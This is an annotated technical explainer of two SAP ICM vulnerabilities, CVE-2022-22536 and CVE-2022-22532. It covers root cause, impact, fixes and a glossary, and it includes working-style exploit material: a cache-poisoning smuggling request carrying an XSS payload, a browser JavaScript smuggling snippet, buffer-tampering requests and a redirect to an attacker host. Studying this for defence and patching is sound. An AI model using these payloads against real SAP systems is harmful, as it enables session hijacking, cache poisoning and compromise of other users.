Both are remotely exploitable by unauthenticated attackers. Remotely exploitable means an attacker can trigger them over the network, without sitting at the machine. Unauthenticated means without logging in. The work involved reversing the ICM binary to identify the internal handlers and the MPI functions named above. The paper does not describe a specific lab build, account or tooling beyond that reversing work; the exploitation examples use ordinary HTTP requests and, for the browser scenario, JavaScript. JavaScript is the programming language that runs inside web pages in your browser.
Finding it
Two properties of the design stood out. First, the ICM parses only the first MPI buffer, because the headers always fit in one, and it fetches the body only when a handler needs it. If a request larger than 2^16 bytes is resolved by a static handler before it reaches the Java/ABAP process, the buffers holding the body are never used. The remaining data, which should have been consumed according to the message-length header, stays in the network queue. The bytes after offset 65455 are then treated as a new request, which no proxy parser will agree with, and the connection desynchronises. An offset is a position counted from the start of the data.
Second, the buffer lifecycle is wrong around pipelining. The ICM supports pipelined requests: extra data after the end of the first request is placed in another MPI buffer obtained with IcmMpiGetOutbuf, and parsing continues as if no extra data existed. When the first response is sent, the Worker Thread calls MpiIFreeAllBuffers() and releases every buffer, including the pipelined one. Other Worker Threads can then claim that buffer while the pipelined request's connection still holds a reference to it, so one connection can affect the request or response of another that holds the same memory reference.
Exploitation
Step 1: Desynchronise the connection with an oversized request (CVE-2022-22536)
Send a request larger than 2^16 bytes that a static handler will resolve. The handler answers before the body is needed, the body buffers are discarded, and the payload after byte 65455 is parsed as a fresh request. A payload is the part of the message that carries the attacker's actual content. Because the attack does not depend on any special header, it can be delivered from HTML and JavaScript, so a malicious page can make a victim's browser perform the smuggling. The result is request and response smuggling that can take over the target system. Request smuggling is hiding an extra request inside a legitimate-looking one so that a front-end and a back-end disagree about what was sent; response smuggling is the same trick applied to the answers coming back.
Step 2: Smuggle a HEAD response to desynchronise the proxy
Response smuggling targets the response queue. HTTP/1.1 allows a HEAD response to carry the original Content-Length (non-zero), which proxies and clients must ignore because the request was HEAD. A response with an empty body and a Content-Length greater than 0 is therefore legal, and every proxy forwarding it must know it belongs to a HEAD request. If a smuggled request hidden from the proxy contains a HEAD message, the backend produces headers only, but the proxy treats the Content-Length as valid and waits for a body. The proxy, here the Web Dispatcher, associates that response with the next request that arrives, the one after the malicious payload.
In the example, three responses come back (GET, HEAD, GET) but the proxy matches the first two to the first two GET requests. The first response is forwarded normally; the second carries the Content-Length header with an empty body, so the Web Dispatcher waits for that many bytes to use as the body.
Step 3: Poison an arbitrary URL through the cache
By choosing response headers that include Cache-Control with max-age>0, the attacker makes the proxy store the concatenated response in the web cache and poison the URL of the last GET request. Cache-Control is the header that tells caches how long to keep a copy; max-age>0 means "keep it for some time". Cache poisoning means planting a malicious answer in the cache so that later visitors receive it. If the concatenated body contains reflected data that executes JavaScript, every user who requests that URL receives the cached payload. Reflected data is input that the server echoes back into the page; if it is not properly escaped, the browser may run it as code.
Multiple injected responses (GET+HEAD+ANY) can build a more complex payload, such as permanently replacing a login page with a single request. The following request poisons an arbitrary URL with a malicious JS payload:
GET /sap/admin/public/default.html?a HTTP/1.1
Host: www.SapServer.com
Content-Length: <length_until_last_GET_request>
Padding: <padding_to_complete_65455_bytes>
HEAD /webdynpro/welcome/Welcome.html HTTP/1.1
Host: <host>
HEAD http://<img%20src=""%20onerror="alert('XSS')">/nwa HTTP/1.1
Host: www.SapServer.com
Content-Length: 1
GET /poisoned_URL HTTP/1.1
Host: aaaaa.com
Connection: close
Line by line. The first line is a normal GET for /sap/admin/public/default.html?a, a path a static handler can answer. Host: www.SapServer.com names the site. Content-Length: <length_until_last_GET_request> is a placeholder for the number of bytes up to the final GET, so the front end believes the whole block is one body. Everything after that boundary is what the ICM will treat as new requests: a HEAD for /webdynpro/welcome/Welcome.html, then a second HEAD whose target is a crafted URL containing an image tag with an onerror handler that would run alert('XSS') if it were rendered, then a GET /poisoned_URL with Host: aaaaa.com and Connection: close to finish. XSS, cross-site scripting, is when an attacker gets their JavaScript to run in someone else's browser.
Step 4: Desynchronise a browser directly
Most HTTP desynchronisation bugs rely on header parsing errors, so the smuggling request needs a special header. CVE-2022-22536 desynchronises through an internal memory error, so the payload can be sent with basic HTML/JavaScript requests. The same holds whenever the header needed for exploitation is valid and can be sent from JavaScript to the vulnerable domain. An attacker can host a malicious page that triggers the attack when a victim renders it, making the victim's browser the front end even though each client uses a single connection. This applies when TCP pooling is disabled or no proxy is present. TCP pooling is reusing one TCP connection for several requests; if it is off, each request gets its own connection. Hijacking the victim's browser requires a phishing step that makes the user execute:
<script>
padding = Array(65455).join("a")
smuggle = "GET /smuggled HTTP/1.1\r\nHost:www.SapServer.com\r\n\r\n"
var xhr = new XMLHttpRequest();
xhr.open("POST", "www.SapServe.comr", true);
xhr.send(padding+smuggle);
</script>
Line by line. <script> opens a block of JavaScript. padding = Array(65455).join("a") builds a string of letter a characters used as filler. smuggle = "GET /smuggled HTTP/1.1\r\nHost:www.SapServer.com\r\n\r\n" builds the hidden request as text, with \r\n being the line breaks HTTP requires. var xhr = new XMLHttpRequest(); creates the browser object used to send requests in the background. xhr.open("POST", "www.SapServe.comr", true); prepares a POST to that address; the true means do it asynchronously, without freezing the page. xhr.send(padding+smuggle); sends the padding followed immediately by the hidden request, so the hidden part lands past the boundary. </script> closes the block.
The script builds a padding string and appends a smuggled GET, then sends both in one POST. The paper notes that this technique can be turned into a desynchronisation botnet that compromises every client's connection and persists with a single request, and that the same idea works with response smuggling and JS cache poisoning. A botnet here means many victims' browsers all carrying out the attack.
Step 5: Hijack a buffer with an incomplete pipelined request (CVE-2022-22532)
Send two pipelined messages. The first is processed normally. The second is placed in a new buffer, and when the Worker Thread handles it, parsing and flushing by the last HTTP handler would raise an MPI error. If the pipelined request is incomplete, however, the Worker Thread asks for more data and sleeps until it arrives. That happens when no header terminator is found or when Content-Length is larger than the body received. While it sleeps, another Worker Thread or process (Java/ABAP) uses the same buffer for a different connection, the victim. The attacker then sends more data, which is written into that buffer at the expected offset, tampering an arbitrary number of bytes.
For example, the attacker sends:
GET / HTTP/1.1
Host: sapserver.com
Content-Length: 0
01234
Line by line. GET / HTTP/1.1 asks for the site's root page. Host: sapserver.com names the site. Content-Length: 0 says the body is empty. The blank line ends the headers. 01234 is extra data after the request, which the ICM treats as the start of a pipelined second request.
The string 01234 is treated as a pipelined message. When Worker Thread WT parses it, it finds the request incomplete (no line break sequence) and sleeps waiting for more data. Another Worker Thread WT_X then handles a different connection using the same buffer for the arriving request:
GET /someValidURL?param1=a¶m2=b HTTP/1.1
Host: sapServer.com
Cookies: sessionId=secretcookie123
Line by line. GET /someValidURL?param1=a¶m2=b HTTP/1.1 is a normal request for a page with two parameters in the query string. Host: sapServer.com names the site. Cookies: sessionId=secretcookie123 carries a session identifier. A cookie is a small piece of data the browser stores and sends back with each request so the server can recognise the user; a session ID is the value that identifies a logged-in session, and it is as sensitive as a password. In this example it is a placeholder value.
Meanwhile the attacker sends:
otherURL?param1=c#
This is the extra data the sleeping Worker Thread was waiting for. It is not a complete request; it is just enough text to overwrite the beginning of the victim's request in the shared buffer.
WT wakes and writes the payload at position 5, right after the last byte of 01234, overwriting the bytes of WT_X's request because they share the buffer:
GET /otherURL?param1=c#\001=a¶m2=b HTTP/1.1
Host: sapServer.com
Cookies: sessionId=secretcookie123
Line by line. The first line now reads GET /otherURL?param1=c#\001=a¶m2=b HTTP/1.1: the attacker's text replaced the start of the victim's path, and \001 marks the null byte that follows the write. The Host and Cookies lines are the victim's original ones, untouched.
When WT_X parses the victim's message or flushes it to the Java/ABAP process, the tampered request is used and the attacker controls the victim's connection. A null byte follows the write. If it lands in the body, both the parser and the Java/ABAP process handle it; if it lands in the headers, only the other processes exit normally and the HTTP parser throws an error because null bytes are not allowed there. This matters when analysing exploitation results.
Step 6: Tamper responses and poison the cache
The use-after-free can be exploited with request and response smuggling techniques without any proxy, and the attacker can overwrite the victim's request outright rather than injecting a prefix. Because MPI buffers are shared between requests and responses, the same technique tampers response data, which is useful for hijacking traffic with an HTTP 308 redirect. A 308 status code is a permanent redirect that tells the browser to go to a new address. To persist, the attacker can poison the ICM's internal web cache by tampering a valid HTTP response. Original response:
HTTP/1.1 200 OK
server: SAP NetWeaver Application Server 7.53 / AS Java 7.50
content-type: text/html; charset=utf-8
content-length: 10
HelloWorld
Line by line. HTTP/1.1 200 OK is the status line: version 1.1, code 200 meaning success. server: names the software and versions. content-type: text/html; charset=utf-8 says the body is HTML in UTF-8 encoding. content-length: 10 says the body is 10 bytes. The blank line ends the headers, and HelloWorld is the body.
Attacker payload, starting from the 4th position as in the previous example:
1.1 308 Found
server: SAP NetWeaver Application Server 7.53 / AS Java 7.50
location: http://maliciousHost.com
X-other:
Line by line. 1.1 308 Found is designed to overwrite the original status line so that, combined with the untouched HTTP/ prefix, it reads as a 308 redirect. server: repeats the original server line. location: http://maliciousHost.com is the address the browser will be sent to. X-other: is a filler header that absorbs the rest of the original line so the message stays well formed.
Final response to the victim:
HTTP/1.1 308 Found
server: SAP NetWeaver Application Server 7.53 / AS Java 7.50
location: http://maliciousHost.com
X-other:
length: 10
HelloWorld
Line by line. The status line is now HTTP/1.1 308 Found, a redirect. The server line is unchanged. location: http://maliciousHost.com tells the browser where to go. X-other: and length: 10 are the leftovers of the original content-length: 10 line, split by the overwrite. The body HelloWorld is unchanged.
The overwrite turns the status line into a 308 redirect to the attacker's host while keeping the rest of the original response. Including the Sap-Cache-Control header in the injected response stores the malicious response in the cache, just as in HTTP response smuggling with arbitrary web cache poisoning.
Step 7: Target OOB buffers for code execution
MPI buffers also carry control data in out-of-band pipes, including memory pointers and connection state. Tampering with them can crash the ICM or take control of the process and run native code. Native code means machine code running directly on the processor, as opposed to a script. The window is tighter than for request and response buffers, because OOB data is written and read almost immediately, so a write into a freed hijacked buffer is more likely to hit a request or response. To improve the odds, the attacker can force an ICM Worker Thread to forward a request while all Java Threads are busy.
Each ICM thread handling a TCP connection requests two OOB buffers: one to send request information to the worker process and one to read responses. The ICM thread writes the request into data buffers and marks the out OOB as ready; a Java Thread sees the request and uses the OOB information to find the memory regions and metadata. Idle Java Threads are always waiting for OOB data, so the gap is normally tiny, but when all Java Threads are busy the OOB buffer is written and only read when a Java Thread frees up. Default installations have more ICM Worker Threads than Java HTTP threads, so sending more requests on different TCP connections than there are Java Threads leaves some OOB buffers idle.
Once in control of an OOB buffer, the attacker can modify the address pointers of the related request buffers and reuse the incomplete-request technique, this time making the ICM write arriving bytes to the address named by the OOB buffer, a write-what-where condition. A write-what-where is a bug that lets an attacker choose both the value written and the address it is written to, which is a powerful primitive for taking over a program. With enough knowledge of the memory layout, Ret2libc and ROP techniques could turn this into an RCE payload, although the complexity makes that exploitation less probable in the wild. RCE, remote code execution, means running your own code on someone else's server. Ret2libc and ROP are techniques for chaining together existing pieces of code in memory to do something the program never intended.
Root cause
CVE-2022-22536 is a design flaw in how the ICM consumes request data. Only the first MPI buffer is parsed, and the body is fetched on demand. When a static handler resolves an oversized request, the unconsumed body is left in the network queue and parsed as a new request, which disagrees with any proxy's parser. The attack needs no special header.
CVE-2022-22532 is a lifetime bug. MpiIFreeAllBuffers() releases every buffer belonging to the connection, including the buffer holding a pipelined request that is still referenced by that connection. The buffer returns to the shared queue and can be handed to another thread or process while the original reference remains, giving a use-after-free across connections. Because request, response and OOB data share the same pool, the corruption can land in any of them.
Impact
Both vulnerabilities are remotely exploitable without authentication and can completely compromise an SAP installation. CVE-2022-22536 enables request and response smuggling that can hijack every user's account, poison arbitrary URLs in the web cache, and, through a malicious page, make a victim's browser carry out the attack. CVE-2022-22532 allows tampering with other connections' requests and responses, hijacking sessions through injected redirects, poisoning the ICM cache, and, via OOB buffers, crashing the ICM or potentially achieving remote code execution. The affected components are designed to be exposed to the internet, so anyone with access to the HTTP(S) port of a Java or ABAP system could take over the applications and in some circumstances the host OS. The host OS is the operating system underneath the application. The vulnerabilities were addressed by US CISA and CERTs worldwide, and SAP and CISA consider all unpatched SAP applications at risk.
Fix
The vulnerabilities are fixed by applying the corresponding SAP Security Notes, which are rated with the highest CVSS scores. A Security Note is SAP's official advisory and patch instruction for a vulnerability. CVSS is a standard scoring system for how severe a vulnerability is. The paper does not describe the code changes themselves. Organisations should prioritise patching affected systems as soon as possible.
Variants to test
- Send a request larger than 65455 bytes to a URI served by a static handler (file access, redirect, cache) and append a second request after the boundary. A positive result is the second request being processed as a new request while a front-end proxy sees only one.
- Send a HEAD request smuggled behind a padded GET and observe whether the proxy applies the HEAD response's
Content-Lengthto the following response. A positive result is the proxy waiting for a body or misaligning subsequent responses. - Include
Cache-Controlwithmax-age>0in a smuggled response and request the poisoned URL afterwards. A positive result is the cached malicious body being served to other clients. - Deliver the oversized request from JavaScript in a browser with TCP pooling disabled or no proxy. A positive result is the smuggled request being processed on the victim's connection.
- Send two pipelined requests where the second is incomplete (no terminator, or
Content-Lengthlarger than the body) and then send more data while another connection is active. A positive result is the victim's request being altered at the expected offset. - Tamper a response with a 308 redirect payload and check whether the victim receives the injected
location. A positive result is the victim being redirected to the attacker's host. - Saturate the Java HTTP threads with requests on many TCP connections and then send an incomplete request to hit an OOB buffer. A positive result is a crash or corrupted connection state indicating pointer tampering.
Glossary
- ABAP: SAP's own programming language and runtime, used by its business applications.
- API: a defined set of functions one piece of software offers to another.
- Authentication: proving who you are.
- Authorisation: checking whether you are allowed to do what you asked.
- Binary: the compiled program file that the computer runs.
- Botnet: a collection of compromised machines or browsers acting together under an attacker's control.
- Buffer: a fixed-size region of memory used to hold data temporarily.
- Business logic: the rules of the application that do the real work.
- Cache: a store of ready-made answers kept to avoid rebuilding them.
- Cache miss: the requested answer is not in the cache.
- Cache poisoning: planting a malicious answer in a cache so later visitors receive it.
- CERT: a national or organisational team that responds to security incidents and issues warnings.
- Cookie: a small piece of data the browser stores and sends back so the server can recognise the user.
- CVE: a public catalogue number for a known vulnerability.
- CVSS: a standard scoring system for vulnerability severity.
- Data structure: an organised way of storing related pieces of information together.
- Deallocate: give reserved memory back.
- Desynchronisation: a state where two parties disagree about where one message ends and the next begins.
- Dictionary: a lookup table of names and their values.
- Flushing: handing data over from one component to another.
- Handler: a routine that deals with one kind of request.
- Header: a labelled line at the top of an HTTP message describing it.
- Heap: the general-purpose pool of memory a program uses for data it creates while running.
- Host OS: the operating system underneath an application.
- HTTP: the protocol browsers use to fetch web pages.
- HTTPS: HTTP wrapped in encryption.
- ICM: SAP's Internet Communication Manager, the HTTP server component of SAP NetWeaver.
- IIOP: a protocol some Java systems use to talk to each other.
- Inter-process communication (IPC): any way for separate programs on the same machine to exchange data.
- Java: a programming language and runtime, one of SAP's two main stacks.
- JavaScript: the programming language that runs inside web pages in the browser.
- Metadata: data about data, bookkeeping notes describing something else.
- Method: the verb of an HTTP request, such as GET, POST or HEAD.
- MPI buffer: SAP's fixed-size shared memory region used to carry HTTP data between processes.
- Null byte: a byte with value zero, often used as a terminator.
- Offset: a position counted from the start of the data.
- Out-of-band (OOB): data that travels alongside the main message to describe it.
- Parser: the part of a program that reads raw text and works out its structure.
- Payload: the part of a message that carries the attacker's actual content.
- Phishing: tricking a user into visiting a malicious page or handing over credentials.
- Pipelining: sending several requests on one connection without waiting for the first answer.
- Pointer: a number that says where in memory something lives.
- Protocol: an agreed set of rules for two computers to exchange data.
- Proxy: a server that sits between clients and backends and forwards traffic.
- Queue: a line where items are taken from the front in arrival order.
- RCE (remote code execution): running your own code on someone else's server.
- Redirect: an instruction to the browser to go somewhere else.
- Reflected data: input the server echoes back into a page.
- Request smuggling: hiding an extra request inside a legitimate-looking one so front end and back end disagree.
- Response smuggling: the same trick applied to the answers coming back.
- Ret2libc: a technique that reuses existing library code in memory to do something unintended.
- Reversing: working backwards from a compiled program to understand what it does.
- ROP: return-oriented programming, chaining existing code fragments to do something unintended.
- S/4HANA: SAP's current flagship business suite.
- Security Note: SAP's official advisory and patch instruction for a vulnerability.
- Session ID: the value that identifies a logged-in session, as sensitive as a password.
- Shared memory: a region of memory more than one program can read and write.
- SMTP: the protocol for sending email.
- Static file: a file stored on disk and sent as-is.
- TCP: the underlying protocol that carries a reliable stream of bytes between two computers.
- TCP pooling: reusing one TCP connection for several requests.
- Thread: a unit of work inside a program; one program can run many at once.
- URI: the part of a web address after the domain.
- Use-after-free: a bug where a program keeps using memory after giving it back.
- User context: the server-side memory of who is logged in and what they are doing.
- Virtual host: one of several websites served by the same server.
- Web Dispatcher: SAP's front-end server that forwards traffic to application servers.
- Web Dynpro: SAP's framework for building browser-based screens.
- Worker Thread: one of a pool of threads that handles incoming connections.
- Write-what-where: a bug that lets an attacker choose both the value written and the address it goes to.
- XSS (cross-site scripting): getting an attacker's JavaScript to run in someone else's browser.